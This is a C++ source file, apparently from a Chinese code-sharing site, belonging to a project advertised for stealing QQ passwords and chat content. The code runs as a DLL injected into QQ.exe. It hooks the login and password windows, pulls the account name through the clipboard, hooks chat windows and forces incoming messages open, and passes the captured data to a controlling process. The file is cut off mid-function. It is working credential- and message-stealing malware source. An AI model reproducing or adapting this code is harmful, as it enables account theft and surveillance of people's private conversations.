gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/dllRemoteThread/QQMate.cpp
// QQMate.cpp: implementation of the CQQMate class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "QQMate.h" #ifdef _DEBUG #undef THIS_FILE static char THIS_FILE[]=__FILE__; #define new DEBUG_NEW #endif extern t_RemoteThreadPara *g_pRemoteThreadPara; extern DWORD g_dwInvokerPID; extern HWND g_hWndInvoker; extern CString g_csCurModuleBaseName; CQQMate *m_pQQMate = NULL; UINT WM_TASKBARCREATED = NULL; // // 向调用者发送消息 // LRESULT SendMessageIV ( ENUM_REMOTE_MSG eRemoteMsg, DWORD dwData, LPCTSTR lpszText/*=NULL*/, DWORD dwData1/*=0*/, DWORD dwData2/*=0*/, DWORD dwData3/*=0*/, LPVOID lpData/*=NULL*/, int cbDataSize/*=0*/ ) { if ( !g_pRemoteThreadPara ) return FALSE; if ( !IsWindow(g_hWndInvoker) ) return FALSE; int nTextSize = 0; if ( lpszText ) nTextSize = lstrlen ( lpszText ) + sizeof(TCHAR); t_RCopyData tRCopyData = {0}; tRCopyData.eRemoteMsg = eRemoteMsg; tRCopyData.dwData1 = dwData1; tRCopyData.dwData2 = dwData2; tRCopyData.dwData3 = dwData3; tRCopyData.nTextSize = nTextSize; tRCopyData.nDataSize = cbDataSize; tRCopyData.dwQQProcessID = GetCurrentProcessId(); COPYDATASTRUCT CopyData = {0}; CopyData.dwData = dwData; CopyData.cbData = sizeof(t_RCopyData) + nTextSize + cbDataSize; CopyData.lpData = new BYTE[CopyData.cbData]; if ( !CopyData.lpData ) return FALSE; BYTE *pDataCurPos = (BYTE*)CopyData.lpData; memset ( pDataCurPos, 0, CopyData.cbData ); memcpy ( pDataCurPos, &tRCopyData, sizeof(t_RCopyData) ); pDataCurPos += sizeof(t_RCopyData); if ( lpszText ) memcpy ( pDataCurPos, lpszText, nTextSize-sizeof(TCHAR) ); pDataCurPos += nTextSize; if ( lpData ) memcpy ( pDataCurPos, lpData, cbDataSize ); pDataCurPos += cbDataSize; LRESULT lRes = SendMessage ( g_hWndInvoker, WM_COPYDATA, WPARAM(g_hWndInvoker), LPARAM(&CopyData)); delete[]((BYTE*)CopyData.lpData); return lRes; } BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam ) { TCHAR szClassName[255] = {0}; ::GetClassName ( hwnd, szClassName, COUNT(szClassName) ); if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 ) { if ( !WM_TASKBARCREATED ) WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") ); SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL ); // HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"), // hwnd, szClassName ); } return TRUE; } // // 通知QQ重建托盘图标 // void NotifyQQRecreateTray () { if ( m_pQQMate ) { m_pQQMate->m_csLocalQQAccount.Empty(); m_pQQMate->m_csLocalQQNickname.Empty(); memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) ); } CUIntArray UIntAry_ThreadID; CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID ); for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ ) { EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) ); } } // // 当前dll执行的空间是否是在QQ进程空间里 // BOOL CurrentIsQQProcess () { HwDbgLog ( L_ONLY_LOGFILE, "CurrentIsQQProcess() : g_dwInvokerPID = %d", g_dwInvokerPID ); if ( g_dwInvokerPID == 0 || g_dwInvokerPID == GetCurrentProcessId() ) // 还在调用者的空间里 return FALSE; HwDbgLog ( L_ONLY_LOGFILE, "CurrentIsQQProcess() : g_csCurModuleBaseName = %s", g_csCurModuleBaseName ); if ( g_csCurModuleBaseName.CompareNoCase ( _T("QQ.exe") ) != 0 ) return FALSE; return TRUE; } DWORD WINAPI ThreadProc_CaptureWindow ( LPVOID lpParameter ) { CQQMate *pQQMate = (CQQMate*)lpParameter; if ( pQQMate ) pQQMate->ThreadProc_CaptureWindow (); return TRUE; } ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CQQMate::CQQMate ( DWORD dwQQPID, CString csQQPath ) : m_dwQQPID ( dwQQPID ) , m_csQQPath ( csQQPath ) , m_hThread_CaptureWindow ( NULL ) , m_hEvtEndModule ( NULL ) , m_hEvt_Check_Ary_FindQQChatInfoPara ( NULL ) , m_hEvt_HandleInfoChangedOfQQAllChatWindow ( NULL ) , m_hEvt_WillSendTextMsg ( NULL ) , m_hEvt_WillSendTextMsgHandleOver ( FALSE ) , m_bDisableHandleWillSendTextMsg ( FALSE ) , m_dwDoSthForWillSendTextMsgTime ( 0 ) , m_pFindQQChatInfoPara_WillSendTextMsg ( NULL ) , m_hWndQQLoginWindow ( NULL ) , m_bLoginOK ( FALSE ) , m_dwStatusChangedTime ( 0 ) { memset ( &m_tnd, 0, sizeof(NOTIFYICONDATA) ); memset ( &m_tFindQQLoginInfoPara, 0, sizeof(t_FindQQLoginInfoPara) ); } CQQMate::~CQQMate(void) { if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::SetEvent ( m_hEvtEndModule ); WaitForThreadEnd ( &m_hThread_CaptureWindow ); for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i); if ( pFindQQChatInfoPara ) delete pFindQQChatInfoPara; } m_PtrAry_FindQQChatInfoPara.RemoveAll (); if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::CloseHandle ( m_hEvtEndModule ); m_hEvtEndModule = NULL; if ( HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) ) CloseHandle(m_hEvt_Check_Ary_FindQQChatInfoPara); m_hEvt_Check_Ary_FindQQChatInfoPara = NULL; if ( HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) ) CloseHandle(m_hEvt_HandleInfoChangedOfQQAllChatWindow); m_hEvt_HandleInfoChangedOfQQAllChatWindow = NULL; if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) ) CloseHandle(m_hEvt_WillSendTextMsg); m_hEvt_WillSendTextMsg = NULL; if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) CloseHandle(m_hEvt_WillSendTextMsgHandleOver); m_hEvt_WillSendTextMsgHandleOver = NULL; } BOOL CQQMate::Init () { if ( !HANDLE_IS_VALID(m_hEvtEndModule) ) { m_hEvtEndModule = ::CreateEvent ( NULL, TRUE, FALSE, NULL ); } if ( !HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) ) { m_hEvt_Check_Ary_FindQQChatInfoPara = ::CreateEvent ( NULL, FALSE, FALSE, NULL ); } if ( !HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) ) { m_hEvt_HandleInfoChangedOfQQAllChatWindow = ::CreateEvent ( NULL, FALSE, FALSE, NULL ); } if ( !HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) ) { m_hEvt_WillSendTextMsg = ::CreateEvent ( NULL, FALSE, FALSE, NULL ); } if ( !HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) { m_hEvt_WillSendTextMsgHandleOver = ::CreateEvent ( NULL, FALSE, FALSE, NULL ); } if ( !HANDLE_IS_VALID(m_hThread_CaptureWindow) ) { DWORD dwThreadID = 0; m_hThread_CaptureWindow = ::CreateThread ( NULL, 0, ::ThreadProc_CaptureWindow, this, 0, &dwThreadID ); if ( !HANDLE_IS_VALID(m_hThread_CaptureWindow) ) { HwDbgLog ( L_ERROR|L_OUT_DLG, _T("Failed to create thread for cature window") ); return FALSE; } } if ( !HANDLE_IS_VALID(m_hEvtEndModule) || !HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) || !HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) || !HANDLE_IS_VALID(m_hEvt_WillSendTextMsg) || !HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) { HwDbgLog ( L_ERROR|L_OUT_DLG, _T("Create kernel event failed.") ); return FALSE; } return TRUE; } // // 枚举出 “qq.exe”的进程 // int CQQMate::EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ ) { CStringArray StrAry_ProcessName; CUIntArray UIntAry_ProcessID; CStringArray StrAry_ProcessPath; if ( !CProcessManage::EnumSystemProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, NULL, NULL, &StrAry_ProcessPath ) ) { return -1; } ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() ); ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() ); int nCount = 0; for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ ) { CString csProcessName = StrAry_ProcessName.GetAt ( i ); TRACE ( _T("%s\n"), csProcessName ); csProcessName.MakeLower (); if ( csProcessName == _T("qq.exe") ) { nCount ++; if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName ); if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) ); if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) ); } } return nCount; } // // 处理托盘通知消息 // void CQQMate::Handle_TrayNotify ( DWORD dwMessage, PNOTIFYICONDATA lpdata ) { NOTIFYICONDATA tndNew = {0}; memcpy ( &tndNew, lpdata, sizeof(NOTIFYICONDATA) ); if ( lstrlen(tndNew.szTip) < 1 ) lstrcpy ( tndNew.szTip, m_tnd.szTip ); if ( !tndNew.hIcon) tndNew.hIcon = m_tnd.hIcon; if ( !tndNew.uCallbackMessage) tndNew.uCallbackMessage = m_tnd.uCallbackMessage; if ( !tndNew.uID) tndNew.uCallbackMessage = m_tnd.uID; // 从托盘提示信息中获取本地QQ号码,如:QQ: 快乐风(13231462) if ( stricmp ( tndNew.szTip, m_tnd.szTip ) != 0 && (m_csLocalQQAccount.IsEmpty() || m_csLocalQQNickname.IsEmpty()) ) { CString csTip = GetCompatibleString ( tndNew.szTip, FALSE ); int nPos = csTip.Find ( QQTRAYTIP_ADD_STRING, 0 ); if ( nPos > 0 ) { csTip = csTip.Left ( nPos ); } nPos = csTip.Find ( _T("QQ"), 0 ); if ( nPos >= 0 ) csTip = csTip.Mid ( nPos+2 ); csTip.TrimLeft(); csTip.TrimRight(); if ( csTip.GetLength() > 0 && csTip[0] == _T(':') ) csTip.Delete ( 0 ); csTip.TrimLeft(); csTip.TrimRight(); int nLeftPos = csTip.Find ( _T("("), 0 ); int nRightPos = csTip.Find ( _T(")"), 0 ); if ( nLeftPos >= 0 && nRightPos > nLeftPos ) { m_csLocalQQAccount = csTip.Mid ( nLeftPos+1, nRightPos-nLeftPos-1 ); m_csLocalQQAccount.TrimLeft(); m_csLocalQQAccount.TrimRight(); m_csLocalQQNickname = csTip.Left ( nLeftPos ); m_csLocalQQNickname.TrimLeft(); m_csLocalQQNickname.TrimRight(); // 登录QQ成功了 if ( !m_bLoginOK && !m_csLocalQQAccount.IsEmpty() ) { m_bLoginOK = TRUE; m_dwStatusChangedTime = GetTickCount(); ::SendMessageIV ( RMSG_QQStatusChanged, (DWORD)m_bLoginOK, m_csLocalQQAccount ); } } } // QQ要退出了 if ( dwMessage == NIM_DELETE && m_bLoginOK && GetTickCount()-m_dwStatusChangedTime>1000 ) { m_bLoginOK = FALSE; ::SendMessageIV ( RMSG_QQStatusChanged, (DWORD)m_bLoginOK, m_csLocalQQAccount ); memset ( &m_tnd, 0, sizeof(NOTIFYICONDATA) ); m_csLocalQQAccount.Empty(); m_csLocalQQNickname.Empty(); } // 可能收到了QQ新消息,我们要向QQ窗口发送托盘双击的消息以打开消息窗口界面 if ( dwMessage == NIM_MODIFY && m_tnd.hIcon != tndNew.hIcon ) { if ( IsWindow(m_tnd.hWnd) && m_tnd.uID > 0 ) { HwDbgLog ( L_DEBUG, _T("Send tray double click message.") ); SendMessage ( m_tnd.hWnd, m_tnd.uCallbackMessage, WPARAM(m_tnd.uID), LPARAM(WM_LBUTTONDBLCLK) ); } if ( HANDLE_IS_VALID(m_hEvt_HandleInfoChangedOfQQAllChatWindow) ) SetEvent ( m_hEvt_HandleInfoChangedOfQQAllChatWindow ); } memcpy ( &m_tnd, &tndNew, sizeof(NOTIFYICONDATA) ); CString csMsgText = FormatString ( _T("%s\r\n%s"), m_csLocalQQAccount, m_csLocalQQNickname ); ::SendMessageIV ( RMSG_TRAY_CHANGED, (DWORD)m_tnd.hWnd, csMsgText, (DWORD)m_tnd.hIcon ); #ifdef _DEBUG /*{ TCHAR szClassName[255] = {0}; ::GetClassName ( m_tnd.hWnd, szClassName, COUNT(szClassName) ); TCHAR szTitle[255] = {0}; ::SendMessage(m_tnd.hWnd,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle); UINT nID = GetWindowLong ( m_tnd.hWnd, GWL_ID ); HwDbgLog ( L_DEBUG, _T("托盘信息改变: hwnd - 0x%X, Class - %s, Title - %s, ID - %d"), m_tnd.hWnd, szClassName, szTitle, nID ); }*/ #endif // 在QQ托盘提示信息里加一段话 CString csTip = GetCompatibleString ( lpdata->szTip, FALSE ); if ( csTip.Find(QQTRAYTIP_ADD_STRING,0) < 0 ) { csTip += QQTRAYTIP_ADD_STRING; strncpy ( lpdata->szTip, CMultiByteString(csTip).GetBuffer(), COUNT(lpdata->szTip)-1 ); } } //------------------------------------------------------------------------- // 截获 QQ 登录框的窗口消息 //------------------------------------------------------------------------- FUNC_WindowProc g_pfnOrgWindowProc_QQLoginWindow = NULL; FUNC_WindowProc g_pfnOrgWindowProc_QQAccount = NULL; FUNC_WindowProc g_pfnOrgWindowProc_QQPassword = NULL; FUNC_WindowProc g_pfnOrgWindowProc_LoginButton = NULL; BOOL CALLBACK EnumChildProc_FindQQLoginInfo ( HWND hWnd, // handle to child window LPARAM lParam // application-defined value ) { t_FindQQLoginInfoPara *pFindQQLoginInfoPara = (t_FindQQLoginInfoPara*)lParam; ASSERT ( pFindQQLoginInfoPara ); TCHAR szClassName[64] = {0}; ::GetClassName ( hWnd, szClassName, COUNT(szClassName) ); _strlwr_hw ( szClassName ); TCHAR szTitle[255] = {0}; ::SendMessage(hWnd,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle); UINT nID = GetWindowLong ( hWnd, GWL_ID ); HwDbgLog ( L_DEBUG, _T("枚举登录子窗口: hWnd = 0x%08X, %s, %s, %d"), hWnd, szTitle, szClassName, nID ); // 是账号输入框吗 if ( !IsWindow(pFindQQLoginInfoPara->hWndQQAccount) ) { if ( nID == 138 && strstr_hw ( szClassName, _T("combobox") ) ) { pFindQQLoginInfoPara->hWndQQAccount = hWnd; } } // 是密码输入框吗 if ( !IsWindow(pFindQQLoginInfoPara->hWndQQPassword) ) { if ( nID == 0 && strstr_hw ( szClassName, _T("#32770") ) ) { pFindQQLoginInfoPara->hWndQQPassword = hWnd; } } // 是登录按钮吗 if ( !IsWindow(pFindQQLoginInfoPara->hWndLoginButton) ) { if ( strstr_hw ( szTitle, _T("登录") ) && strstr_hw ( szClassName, _T("button") ) ) { pFindQQLoginInfoPara->hWndLoginButton = hWnd; } } if ( IsWindow(pFindQQLoginInfoPara->hWndQQAccount) && IsWindow(pFindQQLoginInfoPara->hWndQQPassword) && IsWindow(pFindQQLoginInfoPara->hWndLoginButton) ) { return FALSE; // 找到了,停止枚举 } return TRUE; } // // 查找 QQ 登录窗口 // BOOL CQQMate::FindQQLoginWindow () { t_Ary_FindWindowHwOutput tAry_FindWindowHwOutput; if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("QQ用户登录"), NULL ) ) return FALSE; ASSERT ( tAry_FindWindowHwOutput.GetSize() > 0 ); m_hWndQQLoginWindow = tAry_FindWindowHwOutput.GetAt(0).hWndFound; ::EnumChildWindows ( m_hWndQQLoginWindow, EnumChildProc_FindQQLoginInfo, LPARAM(&m_tFindQQLoginInfoPara) ); return IsWindow(m_hWndQQLoginWindow); } LRESULT CALLBACK WindowProc_QQLoginWindow ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { // HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( uMsg == WM_SYSCOMMAND ) { int uCmdType = wParam; WORD xPos = LOWORD(lParam); WORD yPos = HIWORD(lParam); HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , WM_SYSCOMMAND - 0x%04X , %d , %d)"), hWnd, uCmdType, xPos, yPos ); if ( SC_CLOSE == uCmdType ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_CLOSE"), uCmdType, xPos, yPos ); ::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, FALSE, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } else if ( SC_MINIMIZE == uCmdType ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_MINIMIZE"), uCmdType, xPos, yPos ); ::SendMessageIV ( RMSG_LoginWindowShow, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, uCmdType, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } else if ( SC_RESTORE == uCmdType ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_RESTORE"), uCmdType, xPos, yPos ); ::SendMessageIV ( RMSG_LoginWindowShow, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, uCmdType, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } else if ( 0xF012 == uCmdType ) { ::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } } else if ( uMsg == WM_MOVING ) { DWORD fwSide = wParam; // edge of window to be moved LPRECT lprc = (LPRECT) lParam; // screen coordinates of drag rectangle HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, fwSide=%d, (%d,%d,%d,%d))"), hWnd, _T("WM_MOVING"), fwSide, lprc->left, lprc->top, lprc->right, lprc->bottom ); if ( m_pQQMate ) { ::SendMessageIV ( RMSG_LoginWindowMoving, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } } else if ( uMsg != 0x0082 && uMsg != 0x0210 && uMsg != 0x0002 && uMsg != 0x0046 && uMsg != 0x0282 && uMsg != 0x0281 && uMsg != 0x0008 && uMsg != 0x0047 && uMsg != 0x0020 && uMsg != 0x0084 && uMsg != 0x036A && uMsg != 0x0133 && uMsg != 0x0200 && uMsg != 0x001C && uMsg != 0x00A0 && uMsg != 0x02A2 && uMsg != 0x0135 && uMsg != 0x002B && uMsg != 0x3C0A46 ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( uMsg == WM_COMMAND ) { WORD wNotifyCode = HIWORD(wParam); // notification code WORD wID = LOWORD(wParam); // item, control, or accelerator identifier HWND hwndCtl = (HWND) lParam; // handle of control HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s)"), hWnd, _T("WM_COMMAND"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) ); if ( wID == WM_COMMAND_USER_ClickLoginButton ) { HwDbgLog ( L_DEBUG, _T("点击了登录按钮 (WM_COMMAND_USER_ClickLoginButton)") ); if ( m_pQQMate ) { CString csAccount = m_pQQMate->GetQQAccountFromCombo ( m_pQQMate->m_tFindQQLoginInfoPara.hWndQQAccount ); ::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, csAccount, TRUE, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); return FALSE; } } else if ( wNotifyCode == EN_KILLFOCUS ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s)"), hWnd, _T("EN_KILLFOCUS"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) ); if ( wID == 180 ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQLoginWindow ( 0x%08X, %s, 密码输入窗口获得焦点了"), hwndCtl, "EN_KILLFOCUS" ); ::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 1, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } } else if ( wNotifyCode == 0 && wID == 16024 ) { ::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } else if ( IsWindow(hwndCtl) && GetWindowClassName(hwndCtl).CompareNoCase(_T("Button"))==0 ) { TCHAR szTitle[255] = {0}; ::SendMessage(hwndCtl,WM_GETTEXT,COUNT(szTitle),(LPARAM)szTitle); if ( lstrcmpi ( szTitle, _T("登录") ) == 0 ) { HwDbgLog ( L_DEBUG, _T("点击了登录按钮") ); if ( m_pQQMate ) { CString csAccount = m_pQQMate->GetQQAccountFromCombo ( m_pQQMate->m_tFindQQLoginInfoPara.hWndQQAccount ); ::SendMessageIV ( RMSG_LoginWindowClose, (DWORD)m_pQQMate->m_hWndQQLoginWindow, csAccount, TRUE, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); return FALSE; } } } } } if ( !g_pfnOrgWindowProc_QQLoginWindow ) return FALSE; return g_pfnOrgWindowProc_QQLoginWindow ( hWnd, uMsg, wParam, lParam ); } LRESULT CALLBACK WindowProc_QQAccount ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( uMsg == WM_GETTEXT ) { int cchTextMax = (int)wParam; LPCTSTR lpszText = (LPCTSTR)lParam; HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X, %s, %d, %s)"), hWnd, "WM_GETTEXT", cchTextMax, lpszText ); } else if ( uMsg == WM_SETTEXT ) { LPCTSTR lpszText = (LPCTSTR)lParam; HwDbgLog ( L_DEBUG, _T("WindowProc_QQAccount ( 0x%X, %s, %d, %s)"), hWnd, "WM_SETTEXT", 0, lpszText ); } if ( !g_pfnOrgWindowProc_QQAccount ) return FALSE; return g_pfnOrgWindowProc_QQAccount ( hWnd, uMsg, wParam, lParam ); } LRESULT CALLBACK WindowProc_QQPassword ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { // HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( uMsg == WM_PARENTNOTIFY ) // 密码输入框得到焦点,这个时候应该将我们准备好的编辑框覆盖密码输入框 { WORD fwEvent = LOWORD(wParam); // event flags DWORD idChild = HIWORD(wParam); // identifier of child window if ( fwEvent == WM_LBUTTONDOWN ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%08X, %s, 密码输入窗口获得焦点了"), hWnd, "WM_LBUTTONDOWN" ); ::SendMessageIV ( RMSG_PasswordSetFocus, (DWORD)m_pQQMate->m_hWndQQLoginWindow, NULL, 0, 0, 0, &m_pQQMate->m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } } else if ( uMsg == WM_COMMAND ) // 密码输入框失去焦点了 { WORD wNotifyCode = HIWORD(wParam); // notification code WORD wID = LOWORD(wParam); // item, control, or accelerator identifier HWND hwndCtl = (HWND) lParam; // handle of control if ( wNotifyCode == EN_UPDATE ) { HwDbgLog ( L_DEBUG, _T("WindowProc_QQPassword ( 0x%X, %s, 0x%04X, %d, 0x%08X, %s )"), hWnd, "EN_UPDATE", wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl) ); } } if ( !g_pfnOrgWindowProc_QQPassword ) return FALSE; return g_pfnOrgWindowProc_QQPassword ( hWnd, uMsg, wParam, lParam ); } LRESULT CALLBACK WindowProc_LoginButton ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { HwDbgLog ( L_DEBUG, _T("WindowProc_LoginButton ( 0x%X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( !g_pfnOrgWindowProc_LoginButton ) return FALSE; return g_pfnOrgWindowProc_LoginButton ( hWnd, uMsg, wParam, lParam ); } // // 从登录框的QQ账号输入栏里取得QQ账号 // CString CQQMate::GetQQAccountFromCombo ( HWND hWnd ) { if ( !IsWindow(hWnd) ) return _T(""); CComboBox *pCombo = (CComboBox*)CComboBox::FromHandle ( hWnd ); pCombo->SetEditSel ( 0, -1 ); pCombo->Copy (); pCombo->SetEditSel ( -1, -1 ); return GetClipBoardText(); } BOOL CQQMate::CaptureQQAccountAndPassFromLoginWindow () { if ( !FindQQLoginWindow () ) return FALSE; if ( !IsWindow(m_hWndQQLoginWindow) || !IsWindow(m_tFindQQLoginInfoPara.hWndQQAccount) || !IsWindow(m_tFindQQLoginInfoPara.hWndQQPassword) || !IsWindow(m_tFindQQLoginInfoPara.hWndLoginButton) ) { return FALSE; } ::SendMessageIV ( RMSG_ShowLoginWindow, (DWORD)m_hWndQQLoginWindow, NULL, 0, 0, 0, &m_tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); HwDbgLog ( L_DEBUG, _T("QQPassword ID = %d, Classname : %s"), GetWindowLong( m_tFindQQLoginInfoPara.hWndQQPassword, GWL_ID), GetWindowClassName(m_tFindQQLoginInfoPara.hWndQQPassword) ); ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow ); // ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndQQAccount, &g_pfnOrgWindowProc_QQAccount, WindowProc_QQAccount ); ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndQQPassword, &g_pfnOrgWindowProc_QQPassword, WindowProc_QQPassword ); // ChangeWindownProc ( m_tFindQQLoginInfoPara.hWndLoginButton, &g_pfnOrgWindowProc_LoginButton, WindowProc_LoginButton ); return TRUE; } //------------------------------------------------------------------------- // 截获 QQ 聊天的窗口消息 //------------------------------------------------------------------------- int CQQMate::FindFrom_Ary_FindQQChatInfoPara ( HWND hWnd ) { for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i); if ( !pFindQQChatInfoPara ) continue; if ( pFindQQChatInfoPara->m_hWndChatWindow == hWnd || pFindQQChatInfoPara->m_hWndQQPeerAccount == hWnd || pFindQQChatInfoPara->m_hWndEditForSendMessage == hWnd || pFindQQChatInfoPara->m_hWndEditForRecvMessage == hWnd ) return i; } return -1; } // // 聊天窗口关闭了 // void CQQMate::OnChatWindowClose ( HWND hWnd ) { HwDbgLog ( L_DEBUG, _T("OnChatWindowClose(0x%04X)"), hWnd ); if ( HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) ) SetEvent ( m_hEvt_Check_Ary_FindQQChatInfoPara ); } LRESULT CALLBACK WindowProc_ChatWindow ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { if ( !m_pQQMate ) return FALSE; int nFindPos = m_pQQMate->FindFrom_Ary_FindQQChatInfoPara ( hWnd ); if ( nFindPos < 0 ) { ASSERT( FALSE ); return FALSE; } CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_pQQMate->m_PtrAry_FindQQChatInfoPara.GetAt(nFindPos); UINT nUserMsg = uMsg - WM_USER; if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND ) { CRect rcAD1(248,22,490,62); SetBkMode ( (HDC) wParam, TRANSPARENT ); if ( uMsg == WM_ERASEBKGND ) { HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") ); CBrush brsBkGnd; brsBkGnd.CreateSolidBrush( RGB(114,201,252) ); FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() ); } if 